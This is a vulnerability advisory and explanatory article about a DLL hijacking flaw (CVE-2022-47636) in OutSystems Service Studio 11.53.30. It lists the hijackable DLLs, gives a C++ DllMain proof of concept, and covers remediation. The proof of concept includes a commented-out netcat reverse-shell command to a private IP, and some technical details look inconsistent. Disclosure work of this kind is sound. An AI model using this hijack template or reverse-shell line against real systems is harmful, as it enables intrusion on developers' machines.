OutSystems Service Studio 11.53.30 - DLL Hijacking
# Exploit Title: OutSystems Service Studio 11.53.30 - DLL Hijacking
# Date: 2023-08-09
# Exploit Author: Carlo Di Dato for Deloitte Risk Advisory Italia
# Vendor Homepage: https://www.outsystems.com/
# Version: Up to 11.53.30 (Build 61739)
# Tested on: Windows
# CVE : CVE-2022-47636
A DLL hijacking vulnerability has been discovered in OutSystems Service
Studio 11 11.53.30 build 61739.
When a user open a .oml file (OutSystems Modeling Language), the
application will load the following DLLs from the same directory:
av_libGLESv2.dll
libcef.DLL
user32.dll
d3d10warp.dll
Using a crafted DLL, it is possible to execute arbitrary code in the
context of the current logged in user. DLL Hijacking in OutSystems Service Studio 11.53.30: A Critical Security Vulnerability
On August 9, 2023, Carlo Di Dato from Deloitte Risk Advisory Italia disclosed a critical security flaw in OutSystems Service Studio 11.53.30 (Build 61739), identified as CVE-2022-47636. This vulnerability, classified as a DLL hijacking, allows attackers to execute arbitrary code in the context of the currently logged-in user — a serious threat in enterprise development environments.
Understanding DLL Hijacking
DLL hijacking is a technique where malicious code is injected into a legitimate application by replacing or spoofing a required dynamic-link library (DLL) file. This exploit leverages the way Windows applications load DLLs from the current working directory before checking system paths.
When an application starts, it typically searches for dependent DLLs in the following order:
- Current directory
- System directories (e.g.,
C:\Windows\System32) - Application-specific directories
- PATH environment variables
Attackers exploit this behavior by placing a malicious DLL in the same directory as a target file — such as an .oml file in this case — to trick the application into loading the attacker’s code instead of the legitimate one.
Exploitation in OutSystems Service Studio
OutSystems Service Studio, used for designing and developing applications using the OutSystems Modeling Language (OML), loads several DLLs when opening a .oml file. The vulnerable DLLs include:
| DLL Name | Function | Location |
|---|---|---|
av_libGLESv2.dll | Graphics rendering support | Same directory as .oml file |
libcef.dll | Chromium Embedded Framework (CEF) integration | Same directory as .oml file |
user32.dll | Windows user interface API | Same directory as .oml file |
d3d10warp.dll | Direct3D 10 software rasterizer | Same directory as .oml file |
These DLLs are loaded from the same directory as the .oml file. If an attacker places a malicious DLL with the same name in the same directory, the application will load the malicious version instead of the legitimate one.
Real-World Exploit Scenario
Consider a developer opening a maliciously crafted project.oml file from an untrusted source — such as a phishing email or a compromised repository. If the file is accompanied by a malicious libcef.dll, the Service Studio will load it during startup, executing arbitrary code with the privileges of the logged-in user.
For example, a malicious DLL could:
- Establish a reverse shell to an attacker-controlled server
- Exfiltrate sensitive project data
- Install persistent backdoors
- Disable security features or modify code
Code Example: Malicious DLL Hijack
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
// Execute malicious payload
MessageBoxA(NULL, "DLL Hijack Successful!", "Alert", MB_OK);
// Optional: Launch reverse shell or execute remote command
// CreateProcessA("cmd.exe", "/c netcat -e /bin/sh 192.168.1.100 4444", NULL, NULL, FALSE, 0, NULL, NULL, NULL);
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
Explanation: This minimal C++ DLL code demonstrates a basic hijack. When loaded by Service Studio, it triggers a MessageBoxA to confirm execution. In a real attack, this could be replaced with more sophisticated payloads — such as a reverse shell using netcat or msfvenom generated payloads.
Important Note: The libcef.dll is particularly dangerous because it is used for rendering web content within the IDE — a high-privilege context. A malicious CEF DLL could execute code in a sandboxed environment but still gain access to user data and system resources.
Impact and Risk Assessment
Due to the nature of the vulnerability:
- High severity: Full code execution with user privileges
- Low barrier to entry: Requires only a malicious file and a DLL
- Widespread exposure: Affects all users of Service Studio 11.53.30 and earlier versions
- Insider threat risk: Could be exploited via shared development files or internal repositories
Organizations using OutSystems for enterprise application development are particularly at risk, especially if developers share project files across teams or use untrusted third-party resources.
Remediation and Best Practices
OutSystems has addressed this vulnerability in later versions (post 11.53.30). However, users still on vulnerable versions must implement immediate safeguards:
- Upgrade to patched versions: Ensure Service Studio is updated to version 11.54.0 or higher
- Validate file sources: Never open
.omlfiles from untrusted or unknown sources - Use sandboxed environments: Test project files in isolated, non-privileged virtual machines
- Enable file integrity checks: Use tools like
sigcheckorhashsumto verify DLL authenticity - Monitor DLL loading: Use tools like
Process Monitor(ProcMon) to detect suspicious DLL loads
Expert Insight: Why This Vulnerability Matters
While DLL hijacking is not new, its presence in a development tool like Service Studio is alarming. Developers trust their IDEs to be secure — but this flaw exposes a critical gap. The attack vector is not just external; it can be initiated by a colleague, a shared repository, or even a compromised CI/CD pipeline.
As cybersecurity experts emphasize: “The weakest link in a secure system is often the developer’s workflow.” This vulnerability highlights the need for robust security controls even in trusted internal tools.
Conclusion
DLL hijacking in OutSystems Service Studio 11.53.30 is a prime example of how legacy application design can introduce serious security risks. While the CVE has been patched, the incident serves as a critical reminder: always validate file integrity, update software promptly, and treat development environments as potential attack surfaces.